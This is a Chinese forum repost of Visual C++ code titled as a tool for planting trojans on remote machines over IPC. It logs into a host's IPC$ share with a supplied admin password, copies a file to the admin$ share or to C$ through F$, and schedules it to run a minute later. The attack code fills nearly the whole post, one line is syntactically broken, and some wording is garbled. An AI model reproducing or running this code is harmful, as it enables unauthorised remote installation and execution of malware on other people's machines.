VC++多线远程IPC种植木马
CString RemoteFilePath,CmdCom("admin$\\");
///////////////////////////////IPC连接////////////////////////////////////////////////////////////////
NETRESOURCE ns;
TCHAR buf[MAX_PATH];
wsprintf(buf,"\\\\%s\\ipc$",host);
ZeroMemory(&ns,sizeof(ns));
ns.dwScope=RESOURCE_GLOBALNET;
ns.dwType=RESOURCETYPE_ANY;
ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
ns.lpLocalName="";
ns.lpRemoteName=buf;
ns.lpProvider=NULL;
ns.lpComment=NULL;
CString hhost = host;
IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///建立IPC连接
if(IpcConnect)
{
//连接成功后
///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////
RemoteFilePath=("\\\\"+host+"\\admin$\\"+filename);
IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//复制文件到admin$(winnt) 要是复制失败,,向其他共享区复制
if(!IpcConnect)
{
RemoteFilePath=("\\\\"+host+"\\C$\\"+filename);
CmdCom="C:\\"+filename;
IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
if(!IpcConnect)
{
RemoteFilePath=("\\\\"+host+"\\D$\\"+filename);
CmdCom="D:\\"+filename;
IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
if(!IpcConnect)
{
RemoteFilePath=("\\\\"+host+"\\E$\\"+filename);
CmdCom="E:\\"+filename;
IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
if(!IpcConnect)
{
RemoteFilePath ("\\\\"+host+"\\F$\\"+filename);
CmdCom = "F:\\"+filename;
IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
}
}
}
}
///////////////////////////得到长途主机工夫///////////////////////////////////////////////////////////
if(IpcConnect)
{//获取长途主机工夫
Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
if(Status==NERR_Success)
{//活取工夫成功
///////////////////////////启动目的文件///////////////////////////////////////////////////////////////
DWORD day=1,JobTime;
AT_INFO ai;
day=day*2;
ai.Command=CmdCom.AllocSysString();
ai.DaysOfMonth=day;
ai.DaysOfWeek=0;
ai.Flags=JOB_NONINTERACTIVE;
ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
//启动上传的文件,一分钟后启动
if(Status==NERR_Success)
{
list->AddString(host+"启动成功");
}
else
list->AddString(host+"启动失败");
}
else
{
list->AddString(host+"获取工夫失败");
}
}
else
{
list->AddString(host+"复制文件失败");
}
}
else
list->AddString(host+"连接失败");
return TRUE;
}
转载请注明出自网络精英联盟bbs.e5b.net,本贴地点:http://bbs.e5b.net/viewthread.php?tid=23924
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|